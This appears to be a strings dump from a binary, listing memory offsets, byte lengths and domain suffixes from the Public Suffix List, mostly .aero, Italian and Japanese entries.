0x1991158 (36): entertainment.aero
0x1991190 (28): equipment.aero
0x19911c0 (26): exchange.aero
0x19911ec (24): express.aero
0x1991218 (30): federation.aero
0x1991248 (22): flight.aero
0x1991270 (24): freight.aero
0x19912c0 (24): gliding.aero
0x19912ec (30): government.aero
0x199131c (38): groundhandling.aero
0x1991354 (20): group.aero
0x199137c (32): hanggliding.aero
0x19913b0 (28): homebuilt.aero
0x19913e0 (28): insurance.aero
0x1991410 (24): journal.aero
0x199143c (30): journalist.aero
0x199146c (24): leasing.aero
0x1991498 (28): logistics.aero
0x19914c8 (26): magazine.aero
0x19914f4 (32): maintenance.aero
0x1991528 (32): marketplace.aero
0x199155c (20): media.aero
0x1991584 (30): microlight.aero
0x19915b4 (28): modelling.aero
0x19915e4 (30): navigation.aero
0x1991614 (32): parachuting.aero
0x1991648 (32): paragliding.aero
0x199167c (52): passenger-association.aero
0x19916c4 (20): pilot.aero
0x19916ec (20): press.aero
0x1991714 (30): production.aero
0x1991744 (30): recreation.aero
0x1991774 (24): repbody.aero
0x19917c4 (26): research.aero
0x19917f0 (30): rotorcraft.aero
0x1991820 (22): safety.aero
0x1991848 (28): scientist.aero
0x1991878 (26): services.aero
0x19918c8 (28): skydiving.aero
0x19918f8 (26): software.aero
0x1991924 (24): student.aero
0x1991974 (22): trader.aero
0x199199c (24): trading.aero
0x19919c8 (24): trainer.aero
0x19919f4 (20): union.aero
0x1991a1c (34): workinggroup.aero
0x1991a50 (20): works.aero
0x1992054 (24): in-addr.arpa
0x1992430 (20): act.edu.au
0x1992458 (20): nsw.edu.au
0x19924a4 (20): qld.edu.au
0x19924f0 (20): tas.edu.au
0x1992518 (20): vic.edu.au
0x1992564 (20): qld.gov.au
0x19925b0 (20): tas.gov.au
0x19925d8 (20): vic.gov.au
0x19930f4 (20): barreau.bj
0x19959c0 (22): aeroport.fr
0x19959e8 (20): assedic.fr
0x1995a78 (24): chambagri.fr
0x1995aa4 (48): chirurgiens-dentistes.fr
0x1995ae8 (42): experts-comptables.fr
0x1995b24 (36): geometre-expert.fr
0x1995ba0 (38): huissier-justice.fr
0x1995bd8 (20): medecin.fr
0x1995c00 (22): notaires.fr
0x1995c28 (26): pharmacien.fr
0x1995c74 (28): veterinaire.fr
0x1996c38 (20): erotica.hu
0x1996c60 (20): erotika.hu
0x1996d14 (22): ingatlan.hu
0x1996d60 (22): konyvelo.hu
0x1997760 (20): abruzzo.it
0x1997788 (30): aosta-valley.it
0x19977b8 (28): aostavalley.it
0x1997808 (26): basilicata.it
0x1997854 (22): calabria.it
0x199789c (22): campania.it
0x19978c4 (34): emilia-romagna.it
0x19978f8 (32): emiliaromagna.it
0x199794c (36): friuli-v-giulia.it
0x1997984 (38): friuli-ve-giulia.it
0x19979bc (36): friuli-vegiulia.it
0x19979f4 (48): friuli-venezia-giulia.it
0x1997a38 (46): friuli-veneziagiulia.it
0x1997a78 (34): friuli-vgiulia.it
0x1997aac (34): friuliv-giulia.it
0x1997ae0 (36): friulive-giulia.it
0x1997b18 (34): friulivegiulia.it
0x1997b4c (46): friulivenezia-giulia.it
0x1997b8c (44): friuliveneziagiulia.it
0x1997bcc (32): friulivgiulia.it
0x1997c84 (20): liguria.it
0x1997ccc (24): lombardia.it
0x1997cf8 (22): lombardy.it
0x1997d20 (20): lucania.it
0x1997dd0 (22): piedmont.it
0x1997df8 (22): piemonte.it
0x1997ea4 (22): sardegna.it
0x1997ecc (22): sardinia.it
0x1997f14 (20): sicilia.it
0x1997fa0 (20): toscana.it
0x1997fc8 (38): trentino-a-adige.it
0x1998000 (36): trentino-aadige.it
0x1998038 (44): trentino-alto-adige.it
0x1998078 (42): trentino-altoadige.it
0x19980b4 (38): trentino-s-tirol.it
0x19980ec (36): trentino-stirol.it
0x1998124 (42): trentino-sud-tirol.it
0x1998160 (40): trentino-sudtirol.it
0x199819c (44): trentino-sued-tirol.it
0x19981dc (42): trentino-suedtirol.it
0x1998218 (36): trentinoa-adige.it
0x1998250 (34): trentinoaadige.it
0x1998284 (42): trentinoalto-adige.it
0x19982c0 (40): trentinoaltoadige.it
0x19982fc (36): trentinos-tirol.it
0x1998334 (34): trentinostirol.it
0x1998368 (40): trentinosud-tirol.it
0x19983a4 (38): trentinosudtirol.it
0x19983dc (42): trentinosued-tirol.it
0x1998418 (40): trentinosuedtirol.it
0x1998454 (20): tuscany.it
0x19984c0 (28): val-d-aosta.it
0x19984f0 (26): val-daosta.it
0x199851c (26): vald-aosta.it
0x1998548 (24): valdaosta.it
0x1998574 (28): valle-aosta.it
0x19985a4 (32): valle-d-aosta.it
0x19985d8 (30): valle-daosta.it
0x1998608 (26): valleaosta.it
0x1998634 (30): valled-aosta.it
0x1998664 (28): valledaosta.it
0x1998694 (30): vallee-aoste.it
0x19986c4 (28): valleeaoste.it
0x1998794 (24): agrigento.it
0x19987dc (28): alessandria.it
0x199880c (26): alto-adige.it
0x1998838 (24): altoadige.it
0x19988a4 (48): andria-barletta-trani.it
0x19988e8 (48): andria-trani-barletta.it
0x199892c (44): andriabarlettatrani.it
0x199896c (44): andriatranibarletta.it
0x1998aac (32): ascoli-piceno.it
0x1998ae0 (30): ascolipiceno.it
0x1998b68 (22): avellino.it
0x1998bf0 (48): barletta-trani-andria.it
0x1998c34 (44): barlettatraniandria.it
0x1998c74 (20): belluno.it
0x1998c9c (24): benevento.it
0x1998cc8 (20): bergamo.it
0x1998da0 (20): bologna.it
0x1998dc8 (20): bolzano.it
0x1998e30 (20): brescia.it
0x1998e58 (22): brindisi.it
0x1998ef0 (22): cagliari.it
0x1998f18 (32): caltanissetta.it
0x1998f4c (36): campidano-medio.it
0x1998f84 (34): campidanomedio.it
0x1998fb8 (26): campobasso.it
0x1998fe4 (40): carbonia-iglesias.it
0x1999020 (38): carboniaiglesias.it
0x1999058 (32): carrara-massa.it
0x199908c (30): carraramassa.it
0x19990bc (20): caserta.it
0x19990e4 (20): catania.it
0x199910c (24): catanzaro.it
0x1999170 (30): cesena-forli.it
0x19991a0 (28): cesenaforli.it
0x19992a0 (20): cosenza.it
0x19992e4 (20): cremona.it
0x199930c (20): crotone.it
0x19993ac (34): dell-ogliastra.it
0x19993e0 (32): dellogliastra.it
0x19994ac (20): ferrara.it
0x199950c (20): firenze.it
0x1999534 (22): florence.it
0x199959c (30): forli-cesena.it
0x19995cc (28): forlicesena.it
0x1999618 (24): frosinone.it
0x19996c4 (20): gorizia.it
0x1999708 (22): grosseto.it
0x1999730 (40): iglesias-carbonia.it
0x199976c (38): iglesiascarbonia.it
0x19997c0 (20): imperia.it
0x1999804 (20): isernia.it
0x1999848 (24): la-spezia.it
0x1999874 (20): laquila.it
0x199989c (22): laspezia.it
0x1999984 (20): livorno.it
0x1999a44 (22): macerata.it
0x1999a6c (20): mantova.it
0x1999a94 (32): massa-carrara.it
0x1999ac8 (30): massacarrara.it
0x1999b70 (36): medio-campidano.it
0x1999ba8 (34): mediocampidano.it
0x1999bdc (20): messina.it
0x1999cc4 (32): monza-brianza.it
0x1999cf8 (48): monza-e-della-brianza.it
0x1999d60 (30): monzabrianza.it
0x1999d90 (32): monzaebrianza.it
0x1999dc4 (42): monzaedellabrianza.it
0x1999f38 (24): ogliastra.it
0x1999f64 (30): olbia-tempio.it
0x1999f94 (28): olbiatempio.it
0x1999fe0 (22): oristano.it
0x199a088 (20): palermo.it
0x199a14c (20): perugia.it
0x199a174 (32): pesaro-urbino.it
0x199a1a8 (30): pesarourbino.it
0x199a1d8 (20): pescara.it
0x199a238 (22): piacenza.it
0x199a280 (20): pistoia.it
0x199a2e0 (24): pordenone.it
0x199a30c (20): potenza.it
0x199a424 (20): ravenna.it
0x199a484 (36): reggio-calabria.it
0x199a4bc (32): reggio-emilia.it
0x199a4f0 (34): reggiocalabria.it
0x199a524 (30): reggioemilia.it
0x199a6a8 (20): salerno.it
0x199a6d0 (20): sassari.it
0x199a75c (22): siracusa.it
0x199a7a0 (20): sondrio.it
0x199a81c (24): suedtirol.it
0x199a880 (20): taranto.it
0x199a8c4 (30): tempio-olbia.it
0x199a8f4 (28): tempioolbia.it
0x199aa00 (48): trani-andria-barletta.it
0x199aa44 (48): trani-barletta-andria.it
0x199aa88 (44): traniandriabarletta.it
0x199aac8 (44): tranibarlettaandria.it
0x199ab08 (20): trapani.it
0x199ab30 (22): trentino.it
0x199ab7c (20): treviso.it
0x199aba4 (20): trieste.it
0x199ac68 (32): urbino-pesaro.it
0x199ac9c (30): urbinopesaro.it
0x199ad60 (20): venezia.it
0x199adac (22): verbania.it
0x199add4 (22): vercelli.it
0x199ae3c (32): vibo-valentia.it
0x199ae70 (30): vibovalentia.it
0x199aea0 (20): vicenza.it
0x199aec8 (20): viterbo.it
0x199b310 (20): fukuoka.jp
0x199b338 (24): fukushima.jp
0x199b3a8 (24): hiroshima.jp
0x199b3d4 (22): hokkaido.jp
0x199b420 (20): ibaraki.jp
0x199b448 (22): ishikawa.jp
0x199b4b8 (24): kagoshima.jp
0x199b4e4 (22): kanagawa.jp
0x199b530 (22): kumamoto.jp
0x199b5c0 (22): miyazaki.jp
0x199b60c (22): nagasaki.jp
0x199b654 (20): niigata.jp
0x199b69c (20): okayama.jp
0x199b6c4 (20): okinawa.jp
0x199b730 (20): saitama.jp
0x199b77c (20): shimane.jp
0x199b7a4 (22): shizuoka.jp
0x199b7cc (20): tochigi.jp
0x199b7f4 (24): tokushima.jp
0x199b844 (20): tottori.jp
0x199b890 (22): wakayama.jp
0x199b8b8 (22): yamagata.jp
0x199b8e0 (24): yamaguchi.jp
0x199b90c (24): yamanashi.jp
0x199b938 (26): *.kawasaki.jp
0x199b964 (30): *.kitakyushu.jp
0x199b9b8 (22): *.nagoya.jp
0x199b9e0 (24): *.sapporo.jp
0x199ba0c (22): *.sendai.jp
0x199ba34 (26): *.yokohama.jp
0x199ba60 (34): !city.kawasaki.jp
0x199ba94 (38): !city.kitakyushu.jp
0x199bacc (26): !city.kobe.jp
0x199baf8 (30): !city.nagoya.jp
0x199bb28 (32): !city.sapporo.jp
0x199bb5c (30): !city.sendai.jp
0x199bb8c (34): !city.yokohama.jp
0x199bbc0 (28): aisai.aichi.jp
0x199bbf0 (24): ama.aichi.jp
0x199bc1c (26): anjo.aichi.jp
0x199bc48 (28): asuke.aichi.jp
0x199bc78 (30): chiryu.aichi.jp
0x199bca8 (28): chita.aichi.jp
0x199bcd8 (26): fuso.aichi.jp
0x199bd04 (34): gamagori.aichi.jp
0x199bd38 (28): handa.aichi.jp
0x199bd68 (26): hazu.aichi.jp
0x199bd94 (32): hekinan.aichi.jp
0x199bdc8 (38): higashiura.aichi.jp
0x199be00 (38): ichinomiya.aichi.jp
0x199be38 (32): inazawa.aichi.jp
0x199be6c (32): inuyama.aichi.jp
0x199bea0 (32): isshiki.aichi.jp
0x199bed4 (32): iwakura.aichi.jp
0x199bf08 (28): kanie.aichi.jp
0x199bf38 (30): kariya.aichi.jp
0x199bf68 (32): kasugai.aichi.jp
0x199bf9c (26): kira.aichi.jp
0x199bfc8 (30): kiyosu.aichi.jp
0x199bff8 (30): komaki.aichi.jp
0x199c028 (28): konan.aichi.jp
0x199c058 (26): kota.aichi.jp
0x199c084 (30): mihama.aichi.jp
0x199c0b4 (32): miyoshi.aichi.jp
0x199c0e8 (30): nishio.aichi.jp
0x199c118 (32): nisshin.aichi.jp
0x199c14c (24): obu.aichi.jp
0x199c178 (30): oguchi.aichi.jp
0x199c1a8 (28): oharu.aichi.jp
0x199c1d8 (32): okazaki.aichi.jp
0x199c20c (38): owariasahi.aichi.jp
0x199c244 (26): seto.aichi.jp
0x199c270 (34): shikatsu.aichi.jp
0x199c2a4 (36): shinshiro.aichi.jp
0x199c2dc (32): shitara.aichi.jp
0x199c310 (30): tahara.aichi.jp
0x199c340 (34): takahama.aichi.jp
0x199c374 (36): tobishima.aichi.jp
0x199c3ac (26): toei.aichi.jp
0x199c3d8 (26): togo.aichi.jp
0x199c404 (28): tokai.aichi.jp
0x199c434 (34): tokoname.aichi.jp
0x199c468 (32): toyoake.aichi.jp
0x199c49c (36): toyohashi.aichi.jp
0x199c4d4 (34): toyokawa.aichi.jp
0x199c508 (30): toyone.aichi.jp
0x199c538 (30): toyota.aichi.jp
0x199c568 (34): tsushima.aichi.jp
0x199c59c (30): yatomi.aichi.jp
0x199c5cc (28): akita.akita.jp
0x199c5fc (30): daisen.akita.jp
0x199c62c (34): fujisato.akita.jp
0x199c660 (30): gojome.akita.jp
0x199c690 (40): hachirogata.akita.jp
0x199c6cc (30): happou.akita.jp
0x199c6fc (44): higashinaruse.akita.jp
0x199c73c (28): honjo.akita.jp
0x199c76c (30): honjyo.akita.jp
0x199c79c (28): ikawa.akita.jp
0x199c7cc (36): kamikoani.akita.jp
0x199c804 (32): kamioka.akita.jp
0x199c838 (34): katagami.akita.jp
0x199c86c (30): kazuno.akita.jp
0x199c89c (36): kitaakita.akita.jp
0x199c8d4 (30): kosaka.akita.jp
0x199c904 (28): kyowa.akita.jp
0x199c934 (30): misato.akita.jp
0x199c964 (30): mitane.akita.jp
0x199c994 (36): moriyoshi.akita.jp
0x199c9cc (30): nikaho.akita.jp
0x199c9fc (32): noshiro.akita.jp
0x199ca30 (28): odate.akita.jp
0x199ca60 (24): oga.akita.jp
0x199ca8c (28): ogata.akita.jp
0x199cabc (32): semboku.akita.jp
0x199caf0 (30): yokote.akita.jp
0x199cb20 (36): yurihonjo.akita.jp
0x199cb58 (32): aomori.aomori.jp
0x199cb8c (32): gonohe.aomori.jp
0x199cbc0 (38): hachinohe.aomori.jp
0x199cbf8 (38): hashikami.aomori.jp
0x199cc30 (34): hiranai.aomori.jp
0x199cc64 (36): hirosaki.aomori.jp
0x199cc9c (38): itayanagi.aomori.jp
0x199ccd4 (36): kuroishi.aomori.jp
0x199cd0c (32): misawa.aomori.jp
0x199cd40 (30): mutsu.aomori.jp
0x199cd70 (40): nakadomari.aomori.jp
0x199cdac (32): noheji.aomori.jp
0x199cde0 (32): oirase.aomori.jp
0x199ce14 (30): owani.aomori.jp
0x199ce44 (36): rokunohe.aomori.jp
0x199ce7c (34): sannohe.aomori.jp
0x199ceb0 (40): shichinohe.aomori.jp
0x199ceec (32): shingo.aomori.jp
0x199cf20 (30): takko.aomori.jp
0x199cf50 (32): towada.aomori.jp
0x199cf84 (34): tsugaru.aomori.jp
0x199cfb8 (34): tsuruta.aomori.jp
0x199cfec (28): abiko.chiba.jp
0x199d01c (28): asahi.chiba.jp
0x199d04c (30): chonan.chiba.jp
0x199d07c (30): chosei.chiba.jp
0x199d0ac (30): choshi.chiba.jp
0x199d0dc (26): chuo.chiba.jp
0x199d108 (36): funabashi.chiba.jp
0x199d140 (30): futtsu.chiba.jp
0x199d170 (38): hanamigawa.chiba.jp
0x199d1a8 (34): ichihara.chiba.jp
0x199d1dc (34): ichikawa.chiba.jp
0x199d210 (38): ichinomiya.chiba.jp
0x199d248 (28): inzai.chiba.jp
0x199d278 (28): isumi.chiba.jp
0x199d2a8 (34): kamagaya.chiba.jp
0x199d2dc (34): kamogawa.chiba.jp
0x199d310 (32): kashiwa.chiba.jp
0x199d344 (30): katori.chiba.jp
0x199d374 (34): katsuura.chiba.jp
0x199d3a8 (32): kimitsu.chiba.jp
0x199d3dc (34): kisarazu.chiba.jp
0x199d410 (30): kozaki.chiba.jp
0x199d440 (34): kujukuri.chiba.jp
0x199d474 (30): kyonan.chiba.jp
0x199d4a4 (32): matsudo.chiba.jp
0x199d4d8 (30): midori.chiba.jp
0x199d508 (30): mihama.chiba.jp
0x199d538 (38): minamiboso.chiba.jp
0x199d570 (30): mobara.chiba.jp
0x199d5a0 (36): mutsuzawa.chiba.jp
0x199d5d8 (30): nagara.chiba.jp
0x199d608 (38): nagareyama.chiba.jp
0x199d640 (36): narashino.chiba.jp
0x199d678 (30): narita.chiba.jp
0x199d6a8 (26): noda.chiba.jp
0x199d6d4 (44): oamishirasato.chiba.jp
0x199d714 (32): omigawa.chiba.jp
0x199d748 (30): onjuku.chiba.jp
0x199d778 (28): otaki.chiba.jp
0x199d7a8 (28): sakae.chiba.jp
0x199d7d8 (30): sakura.chiba.jp
0x199d808 (36): shimofusa.chiba.jp
0x199d840 (32): shirako.chiba.jp
0x199d874 (30): shiroi.chiba.jp
0x199d8a4 (30): shisui.chiba.jp
0x199d8d4 (36): sodegaura.chiba.jp
0x199d90c (26): sosa.chiba.jp
0x199d938 (26): tako.chiba.jp
0x199d964 (34): tateyama.chiba.jp
0x199d998 (30): togane.chiba.jp
0x199d9c8 (34): tohnosho.chiba.jp
0x199d9fc (34): tomisato.chiba.jp
0x199da30 (32): urayasu.chiba.jp
0x199da64 (36): yachimata.chiba.jp
0x199da9c (32): yachiyo.chiba.jp
0x199dad0 (38): yokaichiba.chiba.jp
0x199db08 (48): yokoshibahikari.chiba.jp
0x199db4c (38): yotsukaido.chiba.jp
0x199db84 (28): ainan.ehime.jp
0x199dbb4 (28): honai.ehime.jp
0x199dbe4 (28): ikata.ehime.jp
0x199dc14 (32): imabari.ehime.jp
0x199dc48 (24): iyo.ehime.jp
0x199dc74 (34): kamijima.ehime.jp
0x199dca8 (30): kihoku.ehime.jp
0x199dcd8 (36): kumakogen.ehime.jp
0x199dd10 (30): masaki.ehime.jp
0x199dd40 (32): matsuno.ehime.jp
0x199dd74 (36): matsuyama.ehime.jp
0x199ddac (34): namikata.ehime.jp
0x199dde0 (32): niihama.ehime.jp
0x199de14 (24): ozu.ehime.jp
0x199de40 (28): saijo.ehime.jp
0x199de70 (28): seiyo.ehime.jp
0x199dea0 (40): shikokuchuo.ehime.jp
0x199dedc (26): tobe.ehime.jp
0x199df08 (26): toon.ehime.jp
0x199df34 (30): uchiko.ehime.jp
0x199df64 (32): uwajima.ehime.jp
0x199df98 (38): yawatahama.ehime.jp
0x199dfd0 (32): echizen.fukui.jp
0x199e004 (32): eiheiji.fukui.jp
0x199e038 (28): fukui.fukui.jp
0x199e068 (28): ikeda.fukui.jp
0x199e098 (36): katsuyama.fukui.jp
0x199e0d0 (30): mihama.fukui.jp
0x199e100 (44): minamiechizen.fukui.jp
0x199e140 (28): obama.fukui.jp
0x199e170 (24): ohi.fukui.jp
0x199e19c (24): ono.fukui.jp
0x199e1c8 (28): sabae.fukui.jp
0x199e1f8 (28): sakai.fukui.jp
0x199e228 (34): takahama.fukui.jp
0x199e25c (32): tsuruga.fukui.jp
0x199e290 (30): wakasa.fukui.jp
0x199e2c0 (34): ashiya.fukuoka.jp
0x199e2f4 (32): buzen.fukuoka.jp
0x199e328 (36): chikugo.fukuoka.jp
0x199e360 (36): chikuho.fukuoka.jp
0x199e398 (36): chikujo.fukuoka.jp
0x199e3d0 (42): chikushino.fukuoka.jp
0x199e40c (38): chikuzen.fukuoka.jp
0x199e444 (30): chuo.fukuoka.jp
0x199e474 (36): dazaifu.fukuoka.jp
0x199e4ac (36): fukuchi.fukuoka.jp
0x199e4e4 (34): hakata.fukuoka.jp
0x199e518 (36): higashi.fukuoka.jp
0x199e550 (38): hirokawa.fukuoka.jp
0x199e588 (38): hisayama.fukuoka.jp
0x199e5c0 (34): iizuka.fukuoka.jp
0x199e5f4 (38): inatsuki.fukuoka.jp
0x199e62c (30): kaho.fukuoka.jp
0x199e65c (34): kasuga.fukuoka.jp
0x199e690 (34): kasuya.fukuoka.jp
0x199e6c4 (34): kawara.fukuoka.jp
0x199e6f8 (34): keisen.fukuoka.jp
0x199e72c (30): koga.fukuoka.jp
0x199e75c (34): kurate.fukuoka.jp
0x199e790 (34): kurogi.fukuoka.jp
0x199e7c4 (34): kurume.fukuoka.jp
0x199e7f8 (34): minami.fukuoka.jp
0x199e82c (34): miyako.fukuoka.jp
0x199e860 (34): miyama.fukuoka.jp
0x199e894 (38): miyawaka.fukuoka.jp
0x199e8cc (38): mizumaki.fukuoka.jp
0x199e904 (38): munakata.fukuoka.jp
0x199e93c (38): nakagawa.fukuoka.jp
0x199e974 (34): nakama.fukuoka.jp
0x199e9a8 (32): nishi.fukuoka.jp
0x199e9dc (34): nogata.fukuoka.jp
0x199ea10 (32): ogori.fukuoka.jp
0x199ea44 (36): okagaki.fukuoka.jp
0x199ea7c (32): okawa.fukuoka.jp
0x199eab0 (28): oki.fukuoka.jp
0x199eae0 (32): omuta.fukuoka.jp
0x199eb14 (30): onga.fukuoka.jp
0x199eb44 (32): onojo.fukuoka.jp
0x199eb78 (28): oto.fukuoka.jp
0x199eba8 (36): saigawa.fukuoka.jp
0x199ebe0 (38): sasaguri.fukuoka.jp
0x199ec18 (34): shingu.fukuoka.jp
0x199ec4c (48): shinyoshitomi.fukuoka.jp
0x199ec90 (34): shonai.fukuoka.jp
0x199ecc4 (32): soeda.fukuoka.jp
0x199ecf8 (28): sue.fukuoka.jp
0x199ed28 (40): tachiarai.fukuoka.jp
0x199ed64 (34): tagawa.fukuoka.jp
0x199ed98 (34): takata.fukuoka.jp
0x199edcc (30): toho.fukuoka.jp
0x199edfc (36): toyotsu.fukuoka.jp
0x199ee34 (34): tsuiki.fukuoka.jp
0x199ee68 (32): ukiha.fukuoka.jp
0x199ee9c (28): umi.fukuoka.jp
0x199eecc (30): usui.fukuoka.jp
0x199eefc (34): yamada.fukuoka.jp
0x199ef30 (30): yame.fukuoka.jp
0x199ef60 (38): yanagawa.fukuoka.jp
0x199ef98 (40): yukuhashi.fukuoka.jp
0x199efd4 (44): aizubange.fukushima.jp
0x199f014 (46): aizumisato.fukushima.jp
0x199f054 (52): aizuwakamatsu.fukushima.jp
0x199f09c (40): asakawa.fukushima.jp
0x199f0d8 (38): bandai.fukushima.jp
0x199f110 (34): date.fukushima.jp
0x199f144 (44): fukushima.fukushima.jp
0x199f184 (42): furudono.fukushima.jp
0x199f1c0 (38): futaba.fukushima.jp
0x199f1f8 (38): hanawa.fukushima.jp
0x199f230 (40): higashi.fukushima.jp
0x199f26c (38): hirata.fukushima.jp
0x199f2a4 (38): hirono.fukushima.jp
0x199f2dc (38): iitate.fukushima.jp
0x199f314 (46): inawashiro.fukushima.jp
0x199f354 (42): ishikawa.fukushima.jp
0x199f390 (36): iwaki.fukushima.jp
0x199f3c8 (44): izumizaki.fukushima.jp
0x199f408 (46): kagamiishi.fukushima.jp
0x199f448 (42): kaneyama.fukushima.jp
0x199f484 (42): kawamata.fukushima.jp
0x199f4c0 (42): kitakata.fukushima.jp
0x199f4fc (50): kitashiobara.fukushima.jp
0x199f540 (36): koori.fukushima.jp
0x199f578 (42): koriyama.fukushima.jp
0x199f5b4 (38): kunimi.fukushima.jp
0x199f5ec (38): miharu.fukushima.jp
0x199f624 (40): mishima.fukushima.jp
0x199f660 (36): namie.fukushima.jp
0x199f698 (36): nango.fukushima.jp
0x199f6d0 (44): nishiaizu.fukushima.jp
0x199f710 (40): nishigo.fukushima.jp
0x199f74c (36): okuma.fukushima.jp
0x199f784 (40): omotego.fukushima.jp
0x199f7c0 (32): ono.fukushima.jp
0x199f7f4 (36): otama.fukushima.jp
0x199f82c (42): samegawa.fukushima.jp
0x199f868 (40): shimogo.fukushima.jp
0x199f8a4 (44): shirakawa.fukushima.jp
0x199f8e4 (36): showa.fukushima.jp
0x199f91c (34): soma.fukushima.jp
0x199f950 (42): sukagawa.fukushima.jp
0x199f98c (40): taishin.fukushima.jp
0x199f9c8 (42): tamakawa.fukushima.jp
0x199fa04 (42): tanagura.fukushima.jp
0x199fa40 (36): tenei.fukushima.jp
0x199fa78 (38): yabuki.fukushima.jp
0x199fab0 (38): yamato.fukushima.jp
0x199fae8 (44): yamatsuri.fukushima.jp
0x199fb28 (40): yanaizu.fukushima.jp
0x199fb64 (38): yugawa.fukushima.jp
0x199fb9c (30): anpachi.gifu.jp
0x199fbcc (22): ena.gifu.jp
0x199fbf4 (24): gifu.gifu.jp
0x199fc20 (26): ginan.gifu.jp
0x199fc4c (24): godo.gifu.jp
0x199fc78 (24): gujo.gifu.jp
0x199fca4 (30): hashima.gifu.jp
0x199fcd4 (30): hichiso.gifu.jp
0x199fd04 (24): hida.gifu.jp
0x199fd30 (48): higashishirakawa.gifu.jp
0x199fd74 (30): ibigawa.gifu.jp
0x199fda4 (26): ikeda.gifu.jp
0x199fdd0 (40): kakamigahara.gifu.jp
0x199fe0c (24): kani.gifu.jp
0x199fe38 (32): kasahara.gifu.jp
0x199fe6c (34): kasamatsu.gifu.jp
0x199fea0 (28): kawaue.gifu.jp
0x199fed0 (32): kitagata.gifu.jp
0x199ff04 (24): mino.gifu.jp
0x199ff30 (32): minokamo.gifu.jp
0x199ff64 (28): mitake.gifu.jp
0x199ff94 (32): mizunami.gifu.jp
0x199ffc8 (28): motosu.gifu.jp
0x199fff8 (38): nakatsugawa.gifu.jp
0x19a0030 (26): ogaki.gifu.jp
0x19a005c (32): sakahogi.gifu.jp
0x19a0090 (24): seki.gifu.jp
0x19a00bc (36): sekigahara.gifu.jp
0x19a00f4 (34): shirakawa.gifu.jp
0x19a0128 (28): tajimi.gifu.jp
0x19a0158 (32): takayama.gifu.jp
0x19a018c (26): tarui.gifu.jp
0x19a01b8 (24): toki.gifu.jp
0x19a01e4 (28): tomika.gifu.jp
0x19a0214 (32): wanouchi.gifu.jp
0x19a0248 (32): yamagata.gifu.jp
0x19a027c (28): yaotsu.gifu.jp
0x19a02ac (24): yoro.gifu.jp
0x19a02d8 (30): annaka.gunma.jp
0x19a0308 (32): chiyoda.gunma.jp
0x19a033c (32): fujioka.gunma.jp
0x19a0370 (48): higashiagatsuma.gunma.jp
0x19a03b4 (32): isesaki.gunma.jp
0x19a03e8 (32): itakura.gunma.jp
0x19a041c (28): kanna.gunma.jp
0x19a044c (28): kanra.gunma.jp
0x19a047c (36): katashina.gunma.jp
0x19a04b4 (30): kawaba.gunma.jp
0x19a04e4 (28): kiryu.gunma.jp
0x19a0514 (32): kusatsu.gunma.jp
0x19a0548 (34): maebashi.gunma.jp
0x19a057c (28): meiwa.gunma.jp
0x19a05ac (30): midori.gunma.jp
0x19a05dc (34): minakami.gunma.jp
0x19a0610 (38): naganohara.gunma.jp
0x19a0648 (34): nakanojo.gunma.jp
0x19a067c (32): nanmoku.gunma.jp
0x19a06b0 (30): numata.gunma.jp
0x19a06e0 (30): oizumi.gunma.jp
0x19a0710 (24): ora.gunma.jp
0x19a073c (24): ota.gunma.jp
0x19a0768 (36): shibukawa.gunma.jp
0x19a07a0 (36): shimonita.gunma.jp
0x19a07d8 (30): shinto.gunma.jp
0x19a0808 (28): showa.gunma.jp
0x19a0838 (34): takasaki.gunma.jp
0x19a086c (34): takayama.gunma.jp
0x19a08a0 (34): tamamura.gunma.jp
0x19a08d4 (40): tatebayashi.gunma.jp
0x19a0910 (32): tomioka.gunma.jp
0x19a0944 (36): tsukiyono.gunma.jp
0x19a097c (34): tsumagoi.gunma.jp
0x19a09b0 (26): ueno.gunma.jp
0x19a09dc (34): yoshioka.gunma.jp
0x19a0a10 (44): asaminami.hiroshima.jp
0x19a0a50 (36): daiwa.hiroshima.jp
0x19a0a88 (40): etajima.hiroshima.jp
0x19a0ac4 (36): fuchu.hiroshima.jp
0x19a0afc (42): fukuyama.hiroshima.jp
0x19a0b38 (48): hatsukaichi.hiroshima.jp
0x19a0b7c (58): higashihiroshima.hiroshima.jp
0x19a0bc8 (36): hongo.hiroshima.jp
0x19a0c00 (50): jinsekikogen.hiroshima.jp
0x19a0c44 (36): kaita.hiroshima.jp
0x19a0c7c (32): kui.hiroshima.jp
0x19a0cb0 (38): kumano.hiroshima.jp
0x19a0ce8 (34): kure.hiroshima.jp
0x19a0d1c (38): mihara.hiroshima.jp
0x19a0d54 (40): miyoshi.hiroshima.jp
0x19a0d90 (34): naka.hiroshima.jp
0x19a0dc4 (42): onomichi.hiroshima.jp
0x19a0e00 (52): osakikamijima.hiroshima.jp
0x19a0e48 (36): otake.hiroshima.jp
0x19a0e80 (34): saka.hiroshima.jp
0x19a0eb4 (34): sera.hiroshima.jp
0x19a0ee8 (44): seranishi.hiroshima.jp
0x19a0f28 (42): shinichi.hiroshima.jp
0x19a0f64 (40): shobara.hiroshima.jp
0x19a0fa0 (42): takehara.hiroshima.jp
0x19a0fdc (40): abashiri.hokkaido.jp
0x19a1018 (34): abira.hokkaido.jp
0x19a104c (38): aibetsu.hokkaido.jp
0x19a1084 (38): akabira.hokkaido.jp
0x19a10bc (38): akkeshi.hokkaido.jp
0x19a10f4 (42): asahikawa.hokkaido.jp
0x19a1130 (42): ashibetsu.hokkaido.jp
0x19a116c (36): ashoro.hokkaido.jp
0x19a11a4 (36): assabu.hokkaido.jp
0x19a11dc (36): atsuma.hokkaido.jp
0x19a1214 (34): bibai.hokkaido.jp
0x19a1248 (32): biei.hokkaido.jp
0x19a127c (36): bifuka.hokkaido.jp
0x19a12b4 (36): bihoro.hokkaido.jp
0x19a12ec (40): biratori.hokkaido.jp
0x19a1328 (46): chippubetsu.hokkaido.jp
0x19a1368 (38): chitose.hokkaido.jp
0x19a13a0 (32): date.hokkaido.jp
0x19a13d4 (36): ebetsu.hokkaido.jp
0x19a140c (38): embetsu.hokkaido.jp
0x19a1444 (34): eniwa.hokkaido.jp
0x19a1478 (34): erimo.hokkaido.jp
0x19a14ac (32): esan.hokkaido.jp
0x19a14e0 (36): esashi.hokkaido.jp
0x19a1518 (40): fukagawa.hokkaido.jp
0x19a1554 (42): fukushima.hokkaido.jp
0x19a1590 (36): furano.hokkaido.jp
0x19a15c8 (40): furubira.hokkaido.jp
0x19a1604 (36): haboro.hokkaido.jp
0x19a163c (40): hakodate.hokkaido.jp
0x19a1678 (48): hamatonbetsu.hokkaido.jp
0x19a16bc (36): hidaka.hokkaido.jp
0x19a16f4 (50): higashikagura.hokkaido.jp
0x19a1738 (46): higashikawa.hokkaido.jp
